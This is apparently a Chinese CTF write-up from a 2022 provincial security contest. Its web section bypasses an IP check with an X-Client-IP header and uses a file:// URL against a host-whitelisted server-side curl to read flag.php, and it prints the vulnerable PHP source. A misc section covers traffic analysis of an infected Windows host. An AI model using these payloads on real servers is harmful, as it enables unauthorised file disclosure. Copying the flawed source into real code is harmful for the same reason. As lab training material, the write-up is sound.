山东省网络与信息安全管理员职业技能大赛 2022 Writeup

2 min read

Web

打开环境注释里提示访问 robots.txt

image-20220901122715258

访问 robots.txt 后得到两个文件 source.phpflag.php,访问 source.php 提示 post 传递 admin

image-20220901122827197

简单试了一下提交,得到 only 127.0.0.1 can get the flag!!

admin=1

image-20220901123022085

简单 fuzz 了一下,直接添加 X-Client-ip 头,得到 you need post url: http://www.ichunqiu.com

image-20220901123128398

提交后得到一张图片

admin=1&url=http://www.ichunqiu.com

image-20220901123258339

图片没有任何回显

image-20220901123339849

我们考虑伪协议试试,得到flag

admin=1&url=file://www.ichunqiu.com/var/www/html/flag.php

image-20220901123517728

image-20220901123504663

同时读一下题目源码2333

<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param  'admin' -->";
if(isset($_POST['admin']))
{
	if($_POST['admin']==1)
	{
        if($_SERVER['HTTP_X_CLIENT_IP'])
        {
            if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
            {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $_POST['url']);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                $content = curl_exec($curl);
                curl_close($curl);
                $filename='download/'.rand().';img1.jpg';
                file_put_contents($filename,$content);
                echo $_POST['url'];
                $img="<img src=\"".$filename."\"/>";
                echo $img;
            }
            else
            {
                echo "you need post url: http://www.ichunqiu.com";
            }
        }
        else
        {
            echo "only 127.0.0.1 can get the flag!!";
        }
	}

}
else
{
	$_POST['admin']=0;
}

?>

Misc

通过流量分析,找到被恶意病毒感染Windows的ip地址格式为flag{}

172.16.165.165

image-20220901125838868

通过流量分析,找到被恶意病毒感染Windows的主机名格式为flag{}

K34EN6W3N-PC

image-20220901125806463

通过流量分析,找到被恶意病毒感染Windows利用的漏洞编号格式为flag{}

image-20220901131048799

通过微步沙箱在线分析导出的HTTP内容,得到俩cveCVE-2012-0507CVE-2014-0569,他说是成功利用的,那么应该就是后面这个了。